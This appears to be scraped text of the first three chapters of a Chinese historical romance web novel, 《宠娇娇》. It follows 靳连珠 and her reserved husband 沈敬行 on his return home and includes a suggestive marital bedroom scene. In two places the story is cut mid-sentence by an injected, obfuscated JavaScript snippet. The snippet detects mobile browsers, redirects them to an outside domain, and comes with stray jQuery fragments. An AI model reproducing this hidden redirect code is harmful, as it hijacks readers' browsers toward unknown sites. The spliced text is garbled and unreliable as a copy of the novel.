《宠娇娇》 1. 第一回 今年天冷的格外早,雅韵轩月初便烧上炭火,隔风的屏障和纱幔全部换成厚实的料子,靳连珠亦穿着冬装,进出皆不离手炉,尽管如此,她还是不慎染上风寒,发了一场高热,用药后躺在榻上整整睡了两日,情况着实骇人。终于盼到她身子痊愈,际夜,小厨房依照她的口味,备了一碗热气腾腾的细料馉饳儿,又配上几道开胃小菜,白芍忙着布置席面,白芷入内唤人:“娘子,该用饭了。” 靳连珠捏住丝线尾端于指尖绕了一圈,用牙咬断后灵活地打个死结,拎起绣样精巧的香囊给白芷看,语气里毫不掩藏炫耀之情:“如何?” 白芷凑近细细观察一番,竖起拇指,赞不绝口:“娘子绣工一绝,针下的山水纹栩栩如生,里头填充的泽兰香,味道清新淡雅,有提神明目的功效,家主定会喜欢的。” 靳连珠十分受用这番话,把香囊妥协收入袖兜中,起身去外间用饭。 大病一场,靳连珠胃口不佳,肉眼可见的消瘦了些,身条变得纤细窈窕,原本的一张白皙圆盘脸少了一圈肉,五官的优处因此被无限放大,一双黝黑粲然的眼睛尤其漂亮,长睫忽闪忽闪也盖不住那份灵动。她执勺搅散飘忽的热气,跟房中的女婢们逗趣:“昨日投壶谁赢了,怎不来讨赏?” 往常她们个个儿踊跃的很,现下却跟哑炮似的,皆耷拉着脑袋不敢吭声。 靳连珠正纳闷,白芍为她盛了一碗三脆羹,软声解惑:“昨日晌午时分,碧波轩那边得知娘子醒了,派人过来查看情况,正巧那会娘子刚服药睡下,却被撞见曲莲领着下人们在小院里投壶戏耍。老夫人得知后十分恼火,凡参与者一体罚没半月例钱,为首的曲莲和玉莲挨了一顿打,需要静养一阵子,暂时不能到娘子近前来伺候了。” 靳连珠闻言不免怔然,勺子从手中脱离,掉入碗中溅起的汤汁弄脏了衣襟。白芍忙拿帕子擦拭,白芷则向其余伺候的女婢们暗中使眼色,很快,闲杂人等退出去,屋内只留下她们两个心腹。 靳连珠没了顾忌,急慌慌地拉着白芍问:“你照实说,究竟打得重不重?” 白芍面色为难,不知该如何作答。 玉莲是靳家培养的武婢,练得皮糙肉厚,块头结实,挨一顿板子无甚大碍,曲莲就没那么走运了,见了血,烂了的皮肉黏在一起,场面极其骇人。待用完刑,老夫人离去,白芍带人前去搬她的时候,她仿佛死了一般悄无声息地趴在长凳上。 久久等不到下文,靳连珠关心则乱,竟打算去下人们的住处亲自瞧一瞧。曲莲、玉莲、白芍、白芷,这四个丫头不仅是她的陪嫁女婢,千里迢迢随她从淮州至永平城,更与她一同长大,感情笃深,亲如姐妹。不管其中哪一个出事,都是往靳连珠心窝子上捅刀子。 “娘子勿慌,”白芷及时拦住她,宽慰道,“奴婢一早便找郎中为两位姐姐诊治过了,伤口并无大碍,用的药都是顶好的,亦不会留下甚么病根。” 听罢,靳连珠悬起的心踏实放回原处,吩咐:“明日再让郎中来一趟,告诉对方,用药需得用顶好的、最见效的。不必担忧银钱不够,各项花销都从我的私账上出。” “是。”白芷应声。 靳连珠被这一遭彻底搅没了胃口,背靠椅子歇了会,由衷的发出一声长叹:“表面上挨罚的是曲莲和玉莲,实则,婆母是借机叱责我御下不严、身为大娘子却贪图享乐的过失。” 沈家乃永平城内数一数二的高门大户,规矩繁多、讲究繁多,靳连珠自从嫁进来便时刻警醒自己须恪尽职守,协助婆母葛氏搭理内宅事务,不曾有过丝毫懈怠。但她到底只是个刚满十七的姑娘家,官人因公长久在外,连书信都鲜少寄回,她身边无人可以诉说苦闷,有时实在受不了这样千篇一律的寡淡日子,也会向往外头的繁华。 无奈葛氏严苛,靳连珠不敢当着她的面儿造次,装也得装出一副贤良淑德的模样。 深宅寥落,在这般枯燥的岁月里,唯一能解乏的活动便是教下人们投壶、锤丸之类的,知晓葛氏厌烦吵闹,靳连珠十分小心谨慎,待婆母外出的时候才敢带他们玩耍。因沈家家主,即她的官人沈敬行素来崇尚节俭,靳连珠从淮州带来的那些珠宝首饰皆不敢于人前显摆,尤其怕沈敬行觉得她太过奢糜,可压在箱底蒙尘了又觉得可惜,干脆拿出来当作彩头。 靳连珠在病中一连躺了多日,委实乏味,算计着到了婆母上山礼佛的日子,她趁晌午时分日光正好,一边躺在美人椅上惬意地晒着太阳,一边指挥下人们分队投壶,赢家便可拿去她的梅花金玉佩。 比试看到一半,药劲儿发作,靳连珠困得睁不开眼,干脆回屋歇下,走前还不忘叮嘱曲莲千万记得将结果告诉她,却不曾想,后来闹出了这样的乱子。既被婆母撞破,且不说往后她连唯一的乐趣都没了,恐怕病愈后亦免不了去家祠站规矩。 仅在脑中一想,靳连珠便感觉腰酸背痛,遍体发凉。 要是官人在就好了... 靳连珠心下犯嘀咕:他虽是个性子冷淡、寡言寡语的人,但每回婆母恼怒了要罚她,他总能及时赶到护她周全。 思及此,靳连珠仔细一算,距离宜州遭逢水灾,沈敬行奉旨前去维修水坝已有三月之久了,若差事办的顺遂,他也该回了。 她隔着衣衫摸了摸香囊,方才的郁闷被知慕少艾的情愫给冲淡了,又禁不住埋怨沈敬行果然是个不知人间冷暖的谪仙下凡,离开这么长时日,竟连一封家书都不曾寄回来,连累她也得苦苦忍受这份相思之情,唯恐在信中轻易表露心意会惹他笑话。 兴许人世间当真存在心有灵犀的说法,靳连珠这厢正默默念叨着远在宜州的官人,突地就有女婢叩门,声音里是掩不住的喜悦:“娘子,家主回——” 话音未落,门猛地打开。房内炭火烧得正旺,捂得靳连珠面颊浮现两坨红晕,比那株盛开的红梅更娇妍。她一双瞳仁晶亮澄澈,雀跃之意挂上眼角眉梢,扬声问:“官人回府了?” 传话的女婢也跟着靳连珠高兴:“是,是家主回来了。听敛秋说,家主下午便入城了,先进宫向陛下述职,回府后向老夫人请过安,这会正往雅韵轩来呢。” 靳连珠叫欢喜冲昏了头脑,顾不及森森寒风,竟穿着单衣径直迎出去。 皎洁月光洒在这条主路上,却因铺满了鹅卵石并不好走。靳连珠伸长脖子使劲张望,唯恐与沈敬行错过,她着急忙慌的,没留意脚下的崎岖被绊了个正着,身形一晃,整个人不受控制的向前扑去,眼瞅就要跌入荆棘丛中,说时迟那时快,从旁伸来一只壮实有力的胳膊,牢牢锁住她一把杨柳腰,锢得她骨头生疼。 靳连珠面对那株长满尖刺的野草,骇得倒吸一口冷气,条件反射般抓住对方的小臂。紧绷的肌肉触感有种陌生的熟悉感,使她怔愣了一息,满眼的惊惶消退,雀跃取而代之。她艰难偏转脑袋,余光瞥见沈敬行腰间系着的那枚老旧香囊,确认来人是他,紧接着察觉到隔着单薄衣料传来的独属于他掌心的温热,不免泛起羞怯的情愫,声量也随即低软几分:“官人。” “嗯。”沈敬行稍一用力,轻轻松松捞起靳连珠,待她站稳了立即撤开身。 他眼底清明,仿佛没有受到方才突发情况的一丁点影响,仍然端着一副清冷持重的君子作派。这反应放在此情此景之下,不似为人夫者,更似善心大发施以援手的过路人。 旁的敛秋轻咳一声,暗中提醒家主,应该说些体己话安抚大娘子才对。 可惜沈敬行恍然未觉,操着波澜不惊的口吻,像是质问靳连珠的过错一般:“入夜后在府中急奔,身边连一个掌灯的女婢也没有...娘子这般出行,是有何事要办?” “并、并没甚么要紧事。得知官人回府,我想着夜路不好走,特地出来迎一迎。”靳连珠思念沈敬行数月之久,当他真真切切地站在面前,却又不敢正眼看了。她低头杵在原地,风一吹,娇弱的身子就跟着抖一抖,模样好不可怜。 沈敬行眼睫低垂,目光于她清瘦的肩头流连一圈儿,很快便咂摸出她忸怩的原由。心头不由得一阵悸动,连呼吸都变了拍子。 朝思暮想的美妻就在这儿,言辞之下满是对他归来的喜悦。纵使沈敬行熟读圣贤书仍无法在情爱一事上免俗,被勾的心猿意马不提,藏于袖中的指腹轻轻摩挲,贪恋那一掌的细腻无法自拔,甚至还冒出一个不合时宜的念头:她的腰,一直都如此绵软么? 这样强烈的情动素来被沈敬行所不齿。 常言道,夫妇间应举案齐眉、互尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001092|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互敬。他们二人分别已久,好不容易再见面,他该以礼相待,至多坐下聊一聊家常话,而非这般轻浮行径,只是因为揽了一把娘子的腰便联想翩翩。 沈敬行不动声色的隐去心底荡漾的涟漪,解开斗篷披在靳连珠身上。 清冽的竹香味儿连同残留的灼热体温包裹住靳连珠,她没来由的感觉到安定,垂眸瞧见一双指甲修剪整齐的大手撩开她的发丝,悉数归拢到背后,动作间,指腹不经意剐蹭过她泛着凉意的耳垂,又惹得她身形一颤。 沈敬行误以为自己千般仔细万般小心却还是冒犯到她了,自厌地蹙眉,飞速绕好系带,转手从敛秋那儿接过灯笼,同她并肩前往雅韵轩。 白芍和白芷紧赶慢赶仍来晚一步。见到家主陪在娘子身侧,双双识趣儿的退至一侧。待这对年轻夫妇进屋,白芷十分有眼力见的着人去小厨房烧水,备着夜里用,又撤掉院中伺候的下人们,安排好一切后与白芍退到廊下守着。 房中炭火烧得正旺,靳连珠担忧他不适应这样高的温度,欲开窗通风却被拦住。 沈敬行唤敛秋取来一只妆奁,铜鎏金珐琅彩镶嵌珍珠,盖子上的藤蔓纹样用绿松石勾勒,打开后共有三层,可以容纳不少首饰、脂粉盒。最上一层放这着一面金嵌玉手持镜,也是他专门为她买的。 靳连珠愣住:“这...” “送你的礼。”沈敬行自顾自斟了一杯茶,仰头饮尽,余光始终紧盯她的反应,期待之余不免紧张,生怕他挑的东西不合她心意。 靳连珠没出嫁那会最爱收集、摆弄这等精致的玩意儿,可今时不同往日,她嫁入沈家后把价值不菲的妆奁换成价格相对便宜、款式质朴的另一套,省得被婆母瞧去又指责她铺张奢靡,尽是商贾出身的铜臭味儿。 但对某些物件儿的喜欢已经刻入骨髓,轻易是改不掉的。 靳连珠眼睛霎时亮了,走上前爱惜地抚摸妆奁上的珍珠,却有所顾忌地咕哝:“好贵重的礼,官人破费了。我那套梨花木妆奁刚换没多久,又添一套新的,用不上,委实浪费。” 昂贵与否、实用与否是一回事。 为夫者,有没有惦记着娘子的这份心,又是另外一回事。 从前父亲每逢外出公干,归来时皆会给母亲带一份礼。几十年间,雷打不动。沈敬行见惯了,便觉得自己成婚后也该这么做才对。 可父子俩到底不同。高门大户的规矩束缚住沈敬行,使得他多年来克己复礼,不曾懂得享受男女情爱;圣贤道理把他教迂腐了,一张嘴除去朝政或大义,讲不出任何讨娘子欢心的甜言蜜语。 近距离对上靳连珠含情脉脉的一双美眸,饶是沈敬行心神荡漾、情动难忍,表面仍稳重沉静,仿佛永远不会耽于尘世俗情的活神仙。他甚至别过脸不再看她,背脊挺得笔直,跟往日在工部训下属似的,一板一眼说道:“既送你了,怎么处置都随你。” 过分淡漠的口吻乍听上去,显得他有些不快。靳连珠以为他误解了自个儿的意思,匆忙找补:“我很是喜欢,明儿便用它梳妆。” 沈敬行未答,又倒了一杯茶水饮下,稍稍拔高声量,唤敛秋准备沐浴用的热水。 靳连珠收起妆奁,过去帮他更衣。 不成想,沈敬行避开她的手,背身利索解了外袍丢进衣篓里,那枚破旧的香囊则被他仔细收起来,然后从柜子里取出寝衣,走去屏障后头。一套动作行云流水,独独没再给过她一个正眼。 靳连珠注视着投在屏风上坚实可靠的背影,有种行走于浓雾中伸手不见五指的迷茫感。 诚然,沈敬行并非那种小肚鸡肠的人,不会为着一句无心之言跟她怄气。但他喜怒不显于色,不管待她还是待旁人都懒得多讲几句,就算靳连珠直接问也不一定能从他嘴里逼问出什么真情实感的回答,更何况她根本不敢质问他。 成婚一年多,靳连珠仍没搞清沈敬行的脾性。 一味靠猜的,谁晓得结果是对是错。 她这般努力,不尽是为了夫妇日后的相处,而是因为她心悦他,愿意挖空心思讨他喜欢,焐热他的心。 思及此,靳连珠咬咬牙,将满到即将溢出的委屈咽回肚子里,鼓起勇气拦下敛秋,低声说:“将帕子给我罢。” 2. 第二回 屏障后头烟雾缭绕,竟比燃着炭火的外间还热。 沈敬行背靠浴桶边沿闭目养神,并未发现伺候他沐浴的人换了一个。 有一小股温度适宜的水流顺着肩颈徐徐淌下去,冲洗掉他连日赶路所积攒的疲倦,脑中那根紧绷的弦不知不觉松弛了些许。 靳连珠坐在矮凳上,拿着湿帕子,小心翼翼为他擦拭裸-露的肌肤。 她打小学得是经商之道,若非多年前那场意外让她与沈敬行结缘,到了待嫁的年龄,爹娘恐怕会依照她的心意寻个赘婿,以便婚后也能让她继承家中产业。故而,她这双手并不擅长伺候人。 沈敬行想必知晓这点,过去一年间,他宁愿唤敛秋服侍,说什么都不肯让她来。 靳连珠有些气馁,总想做出些成绩向他证明娶她没错,可惜沈敬行公务繁忙,一年到头他们统共也见不上几面。她心中怅然,又得强忍着负面情绪,暗示自己多思无益,不如敛神专注手上的事情,眼神却不住的往他脸上瞅。 时至今日,靳连珠仍清楚记得那天的场景。 馆驿那个巴掌大点的院落里栽了一棵长势良好的桃树,沈敬行仰头观察桃花的时候,姣好面容也彻底暴露在她的视野中。 靳连珠始终找不出合适的言语来形容那一刻的感受,只觉得胸膛如遭重击,心跳蓦地停滞一拍,她下意识捂住因惊叹而张大的嘴巴,嗖得缩到阿娘身后,仅露出一双眼睛巴巴地瞅着他,暗暗喟叹:怎会有男子的脸生的这么小,硬是比旁人小了整整一圈,墨眉圆眸,瞳仁晶亮,唇红的像是咬破了樱桃流出的汁水,衬得肤色近乎妖冶的白。 分明是一张还透着稚嫩的长相,却因为他面无表情显得有些老成。 靳连珠自打懂事起就没见过这么矜贵标致的公子,一时看得入迷了,失了礼仪。因她盯得太专注且毫无顾忌,惹得沈敬行不悦,他向同行的表妹讨来一面槿紫色绣扇,作势把玩,实则把脸遮得严严实实,教她再也瞧不见... 过去多年,待回忆再次涌入心头,靳连珠仍感觉自己正在被淮州的烈阳炙烤着,渐渐烧化了她所有的防线。与当时不同的是,沈敬行成了她的官人,她尽可以大大方方的打量他,而他也不会再赌气遮住脸不让看了。 靳连珠想起他蹙眉抿嘴,板着小脸装成熟,用奶凶奶凶的口吻同她讲“这般不合礼数”,便觉得十分有趣。她心里乐津津的,唇齿间不经意泄露出一声轻笑。 虽被哗啦啦的水声掩盖过去,但靳连珠仍骇得浑身一震,飘忽的思绪骤然回拢,祈祷沈敬行千万别听见。可惜晚了。沈敬行已然察觉不对,睁眼的同时避开她的触碰,伸长胳膊去捞旁边架子上的衣裳试图遮蔽身体,待他发现服侍的人是靳连珠,取衣裳的动作一顿,表情逐渐变得不可思议。 靳连珠亦分外羞赧。 明明是服侍自个儿的官人,怎被他弄得她像是趁人之危的登徒子。 沈敬行考虑的却不是这些,习得的礼教告诉他,妻子需要尊敬爱护,并非可以肆意指使的仆役,伺候沐浴这等活儿,万万轮不到她来做。 因着旁边的人是靳连珠,沈敬行戒备心松懈,将寝衣挂回原处,然后抽走她手中的湿帕子,启唇想要唤敛秋入内,结果没等开腔,就被带着水汽的湿软掌心捂住了嘴。 “官人别叫。”靳连珠太着急阻止他,整个人儿跪趴在浴桶边沿,上半身贴着沈敬行,单薄的寝衣衣料被浸湿了。一时之间,一些该体会的、不该体会的,他全体会到了。 沈敬行攥着帕子的手指不断收紧,先是垂眸看向水面,猝不及防发现身子某处的变化,他耳尖泛起红晕,眼睫抖得筛糠一般,尴尬的头皮发麻。他不得不转移视线,冷不丁撞见屏障上的鸳鸯戏水图,反倒更加无所适从。 沈敬行没法子,只得重新看向她,似在询问为何。 靳连珠面颊酡红,瞳仁被水雾熏得发亮,相较平时的俏丽又添了一抹含羞的美。她躲开他的视线,难为情地嗫嚅:“若叫敛秋替我,大伙就都晓得我伺候不好官人了。” 闻言,沈敬行眉心微拧。 ...他完全没有嫌弃她的意思。 无奈嘴巴被堵着,沈敬行无法辩解,只好用眼神示意她松开。 靳连珠恍然,赶紧收手,重新坐回矮凳上。 沈敬行拧干帕子搁到旁边的木盆里,顿了顿,他从衣裳里头扒拉出一条干净的汗巾,趁靳连珠没反应过来的时候直接罩在她头上,恰巧蒙住她的双眼。 靳连珠不明所以,正准备摘掉,腕子却突然被擒住。 “别动。” 沈敬行扭过脸去,压根儿不敢看她身前打湿的那一块衣料,泛着皂荚香味的水珠从他指尖沾到她手背,顺势滚入袖兜中。反复呼吸两三次,沈敬行才驱散脑中旖旎的想法,得以把话说完:“我要擦身,你且先等一等。” 这话一落,靳连珠呼吸一窒,脸颊火烧火燎的。她搭在膝头的手攥紧,想着来都来了,有些事情不妨一鼓作气,于是干巴巴地挤出一声:“...官人要帮忙么?” 沈敬行整理衣裳的动作一停,耳根红的更厉害了,那抹绯色延续至脖颈,室内的高温叫他呼吸不畅。他暂时顾不上答她,双手撑着浴桶边沿,接着便是巨大的哗啦声响,他出水的幅度太大,水花溅到靳连珠也没察觉,赤脚踩在垫子上迅速擦身,又以同样快的速度穿上衣裳,着急忙慌系衣带的时候,耳畔不合时宜回荡着靳连珠的话。 他转身,若有所思地看着靳连珠,忽然抬手撤了盖在她头上的汗巾。 说是汗巾,其实更像是一块夏日用的薄帕,靳连珠并非全然看不清外头的景色,反而隔着朦朦胧胧的一层更挠心。沈敬行虽为文官,但幼时为了强身健体也曾找过师傅习武,待年岁稍长一些,他经常入宫陪陛下练习骑射,身板不似其他文臣那般弱不经风,薄薄的一层肌肉反倒更有滋味。 靳连珠嫁给沈敬行之后实打实的尝过鱼水之欢的快活,无奈他太古板,不到计划的日子绝不碰她,就算碰她,过程中亦十分节制,毫无花样可言。 这等隐秘之事,靳连珠无法厚着脸皮向沈敬行提意见,只得咽回肚子里,苦苦熬着。 偏巧今年沈敬行隔三差五就得外出办差,距离两人上一次行房已过去足足五个月了。靳连珠当真不愿去想这档子事,可有的事情一旦开了头、品到了甜头,想再戒掉就难了。 她快要按捺不住体内的那把熊熊烈火,瞳仁热到有些涣散,像极了一颗娇艳欲滴的蜜桃,诱人而不自知。她在他的注视之下揩去面颊上的水珠,温吞道:“这套寝衣是依照永平城时下新兴的样子做的,穿法繁杂,官人恐怕搞不懂,不如让我来...” 说着,靳连珠上手拉住沈敬行腰间松松垮垮的细长带子,距离拉近,她软嫩的脸颊就这么毫无征兆地贴上他坚实温热的腰腹。 沈敬行骇了一大跳,眼睛瞪得滚圆,当下竟忘了推开她,怔怔地瞧着她环住他的腰,从后头掀起衣摆往里摸索暗扣,精准把长绳的一端穿过去,作势要往外抽。 沈敬行及时反手摁住她,制止了接下来更加过火的举动。 受姿势所迫,靳连珠不得不趴在他怀里,贴的太近很难不察觉到某处的异样。她紧张到连呼吸都放慢了,徐徐抬起头看向沈敬行,却意外发现他仍是那副清风霁月的样子,眼底毫无欲-念,衬得她那些小心思简直上不了台面。 靳连珠登时泄了气,为自己不管不顾往上凑的放浪行为感到羞怯,也为自己太不矜持的想法感到恼怒。她原本也是个大家闺秀的,错就错在太思念沈敬行了才会行事不得章法,而且他压根儿没心思同她亲昵,她又何必上赶着闹笑话。 靳连珠不停拧动手腕,试图挣脱桎梏,退回与他相敬如宾的大娘子的位置上。 察觉到她的小动作,沈敬行非但没松手,还将她搂紧了一些。 靳连珠意外地看向沈敬行,惊觉他目光是前所未有的凌厉,嗓音低沉,仿佛刻意压抑着某种情绪:“听母亲说你病了好些日子,恢复的如何了?” 话题转变的太快,靳连珠怔愣一瞬,思绪立马跟上,乖乖作答:“已痊愈了,不过郎中叮嘱要继续喝三日药,方可除根。” “库中有几味补身子的药材,明儿问过郎中,若效用不相冲,便让小厨房同你的一日三餐做在一起,这样吃起来有滋味,还能补元气。”沈敬行略一思忖,道:“我虽崇尚节俭,但那些都是立给自己的规矩,你不必跟着我受这份委屈,从前怎么来如今就怎么来。只要别过分铺张浪费,我一概不会干涉。母亲那头我自会去说明,你亦无需担忧。” 虽不知他为何在此时提及此事,但靳连珠十分受用他罕见的关怀,冲他扬起一抹粲然的笑,甜甜应道:“好,都听官人的。” 许是这笑晃了沈敬行的眼,让他一时无措就吐露了扫兴的话:“另外,往后不必再买这种繁琐样式的寝衣,穿起来很不方便。” 听罢,靳连珠眼底的光霎时黯淡几分:“...嗯。” 沈敬行意识到说错了话,却又实在不知该如何讨娘子欢心。撒娇、服软、认错,这些皆不在他掌握的能力范畴内。他所能展示的最大限度的温和,便是在靳连珠准备去取以前那套寝衣时把她拦下,用冷静到近乎残酷的口吻,告知她:“不必拿了。今晚,兴许穿不上了。” 靳连珠眨巴眨巴眼睛,慢吞吞地哦了一声。她的表情单纯懵懂,似乎没有领悟到他的言下之意,可那双原本抽出衣摆的手,已经按捺不住再次探了进去。 —— 夜里风大雨急,嘈杂声切切,下人们唯恐听不见家主传唤,干脆派敛秋和白芷去门外守着。甫一走近,白芷这个耳朵灵敏的便从鼓噪雨声中分辨出异样。 那声音像是抽噎,也像是低吟。 欢愉中掺杂痛楚,还得竭力忍着。 总之,那千回百转的莺啼猛然拔高后戛然而止,仿佛被什么生生堵死了。 白芷不敢多听,耳尖和脸蛋羞得通红,被那股从门窗缝隙里飘出的旖旎烧得口干舌燥。她拽住旁边丝毫没眼力见儿,一股劲继续往前走的敛秋,悄声叮嘱:“就在这儿候着罢。若家主摇铃,我能听得到。” 敛秋这才想起白芷的耳力过人,有她在就不必担心耽误差事,于是乖乖退下台阶。 房中本没有特地灭掉烛火,因两人行事太久燃尽了,周遭倏地陷入漆黑。 绣了鸳鸯戏水图的那扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001093|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏障上潦草挂着几件衣裳,鞋袜歪歪斜斜扔了一路,水渍延伸至落了纱幔的床榻处。锦衾掉出一角,一只瓷白纤细的手无助地挥舞两下,最后跟抓住救命稻草一般抓住了被角,绷紧的骨节处泛着不正常的潮红。 大抵过了半炷香,捂住靳连珠嘴巴的手掌终于撤去,她顾不得擦拭淌出的口涎,乖觉地咬住下唇。凌乱的床榻之上,沈敬行静到仿佛不存在,唯有从靳连珠齿间溢出的吭叽声这一点微不足道的响动。 沈敬行热得厉害,前胸后背满是汗水,黏腻的感觉让他十分不适。 这样紧要的关头,他竟还能唤醒几分清醒,支起身挽了半边床帘。 因屋中烧着炭火,窗牖没关严实,寒风从缝隙中源源不断的灌进来,靳连珠冷得发抖。她攒足力气扯被褥,却不知被什么压住了,根本拽不动。沈敬行有所察觉,配合的抬起右腿,单膝跪到里侧,等靳连珠抻开被子后一并进去。 方才被中断的事情得以继续。 “官、官人能不能...”靳连珠眼眶中蕴满泪水,快被摇晃出来。她话都说不顺畅,委实忍不了这份委屈,主动向他张开手臂讨个拥抱,或者,他肯屈就吻她一下也好。 沈敬行抿紧唇,内心挣扎片刻后残酷摇头。 意料之中的反应,靳连珠见了还是难免失落。 她拉高被子遮住脸,泪珠悄然没入发梢。 书上写这事儿是入骨的毒,沾染了就极难戒掉,每次兴到浓时都能让人体会一把活神仙的滋味。可沈敬行看上去截然相反,他话少,几乎不吭声,除去必要时甚至不会过多触碰她,只一味的发泄想尽早结束,倒更像是来受刑的。 不过,今夜相较平常还是有些不同的。 许是太久没行事,沈敬行引以为傲的自制力逐渐崩溃,饶他如何努力都没法在一时半刻间结束,眼瞅着时辰越耗越晚,他担心她累极了病情又复发,打算就此停止,先让她睡下,他自去处理。 这个念头刚冒出的瞬间,靳连珠松开被褥,身子有往下缩的趋势。沈敬行立即想起他们的洞房花烛夜,意识到她要干什么,他脸色一冷,制止:“不可。” 这般太不合体统。 他亦不愿意为了自己怡悦而折辱她。 靳连珠顺势回握住他的手,红着脸悄声说:“这样快一些,别耽误官人上朝。” “不可。”还是这句话。 沈敬行的态度十分坚决,不知是不是恼了她的自作主张,他手上稍一使劲儿,直接把靳连珠拎回被窝,俯身捡起床榻边的寝衣披上,摇铃换水。 候在外头打瞌睡的敛秋被白芷推了一把,冷不丁打了个抖,赶紧振作精神去小厨房提水。白芷同其他几个女婢推门入内,开窗通风、收拾衣物,忙碌时未发出一点动静。 待敛秋兑好水温,白芷垂首上前搀扶靳连珠,不经意间的一瞥,发现靳连珠眼尾泛红,唇上的齿痕还没消,似是无声哭了一场。白芷心下一惊,碍于家主在旁,她不敢胡乱猜测,只得先咽下繁杂的思绪,伺候娘子沐浴。 忙完一切后,闲杂人等离开,房中再次回归宁静。 靳连珠裹着被褥,浑身暖烘烘的,可一颗心却冷得发颤。 方才沈敬行冷脸推开她的场景历历在目,教她无法再以“官人性情内敛,需得多多包容”为由哄骗自己,连同她翘首以待了许久的重逢之夜,都好似变成了可笑的独角戏。 自成婚以来,他们总是这样,顶着亲昵的身份却无法完成一件亲昵的事。有时候靳连珠难免怀疑沈敬行对她究竟有没有真心,若他有,为何处处表现的十分抗拒,若他没有,那六年间出自他手的近百封书信和礼物又算什么。 靳连珠面朝内侧,悄悄抹了一把眼泪,宽慰自己:世间夫妻之间哪有不生龃龉的,况且他们聚少离多,不亲厚也是情理之中。总之,日子是一天一天经营出来的,从前在淮州,靳家数十间铺子她都能打理的井井有条,如今弥补夫妻关系也一定能成。 靳连珠忍着那事之后的酸胀感撑起身子,取出袖兜里的香囊放在沈敬行枕侧,期盼他醒来后看见,能喜欢这份回礼。 沈敬行紧闭双眼,并没察觉到她的靠近。一路风尘仆仆的归来,白日处理了许多事,夜间没克制住与她翻云覆雨一回,纵使钢铁做的人也熬不住如此折腾,他累得一沾枕头便睡熟了。 这样毫无防备的沈敬行少了几分往日的冷漠疏离,靳连珠舍不得躺回去,借着微弱月光多端详他一会。 二人是同年生,生辰相差不过半年,但沈敬行模样变化却比她多了不止一星半点儿,自从个子抽条以后,他的面部轮廓也随之变得硬朗,鼻梁更笔挺了些,气质愈发凌厉。因着工部的差事特殊,他少不了要风吹日晒,肤色深了些,不似儿时那个惹人怜的白糯米糍了。 大抵是真爱使人盲目,不管沈敬行怎么变,靳连珠都觉得甚合心意。她指尖隔空摹绘一遍他的眉眼,心底的酸涩感渐渐褪去,然后壮起胆子一点点凑近,直至贴上他温热湿润的唇瓣,一触即离。 沈敬行睡得沉,对此无知无觉,反倒是靳连珠心抖的过分。 她缩回被窝,定了定神再探出头,面颊轻轻靠近他肩头,餍足地睡了。 3. 第三回 修缮水坝的差事按照原计划应该到年后才能完工,沈敬行素来讲究效率,一上任便领着下属们日夜不休的赶工,竟提前了整整一个月交差。 早朝上,官家逮着他一顿夸赞,散朝后又单独将他叫到崇德殿叙话,谈完公事,必然绕不开私事。 邱肇扫过沈敬行腰间那枚崭新的香囊,绣工精湛,绝非街市上随便就可以买到的货色。至于出自谁手,无需过多猜测就能知晓答案。 邱肇斜靠在龙椅之上,翘着二郎腿,笑得不怀好意:“据说宜州一带冬日景色极佳,表哥大可唤同僚先行返回传信,你留在那儿潇洒一番,顺便给朕捎回一坛风麴法酒尝尝。这般着急往回赶,莫非心中有惦记的事,或者,人?” 邱肇刻意加重尾音,沈敬行又怎会听不出言下之意。 何况他所言没错,他匆忙赶回家,的的确确存了私心。 去岁新春,沈敬行在工部忙碌,没赶上同靳连珠吃一顿团圆饭,后来得知她竟干等了他一整夜,沈敬行十分愧疚,暗暗发誓,今岁无论如何都不能留她一人过节。 不过,这些皆属于夫妻之间的事,委实无法向外人道。 何况,沈敬行原也不是耽于儿女情长的人。 他向上首拱手行礼,义正言辞道:“年关将至,工部还得协同礼部准备祭祀大典,臣着急归来所为公事,无关旁的。” “都是一家人,表哥总跟朕客套就没意思了。”邱肇浅咂一口茶,口吻漫不经心,却充斥着压迫感:“难不成,偌大的工部,离了你沈尚书便无法正常运行了?那朕可要仔细查一查工部其余的官员,免得招进来一群干吃白饭的废物。” 沈敬行表情微变,见避无可避了,只得硬着头皮作答:“早些回来,臣还赶得上跟家人过年。” 这答案听上去倒比方才那套大义凛然的说辞诚恳些了。邱肇玩味地挑眉,知道“家人”这二字里,沈敬行从淮州娶来的那位大娘子分量更重一些。为了同心上人成婚,一个美娇娘不远万里、跋山涉水奔赴而来,他们二人的姻缘也因此在永平城内成了一桩美谈。 沈敬行此人,从小便是个古板,俨然读书读蠢了,完全不懂得变通,尤其不擅长人际交往。满嘴的之乎者也便罢了,偏偏他遗传了双亲的所有长处,天生一张斯文白净的俊美皮囊,食古不化的毛病在他这儿反倒成了高风亮节,诱得满城待嫁小娘子们神魂颠倒,可他却从不贪恋美色,至十六岁成婚前,身旁连个伺候的女婢都没有。 突有一日传出沈敬行订亲的消息,女方出自淮州那等偏僻之地的商贾门户,两厢天差地别,顿时引得全城哗然,皆以为是谣传——毕竟沈敬行只是奉行节俭,并非真穷,何况沈家乃皇亲国戚,沈敬行本人更是年少有为、一表人才,哪家千金他娶不得,怎会看上一介商女。 岂料,沈府真就挂上了红绸带,迎亲队伍吹吹打打的出了城,一路往南迎接新妇。三日后,沈府开设婚宴,在一众宾客的见证之下,沈敬行跟靳氏拜过堂,又拿了盖了官印的婚书,正式结成夫妻。 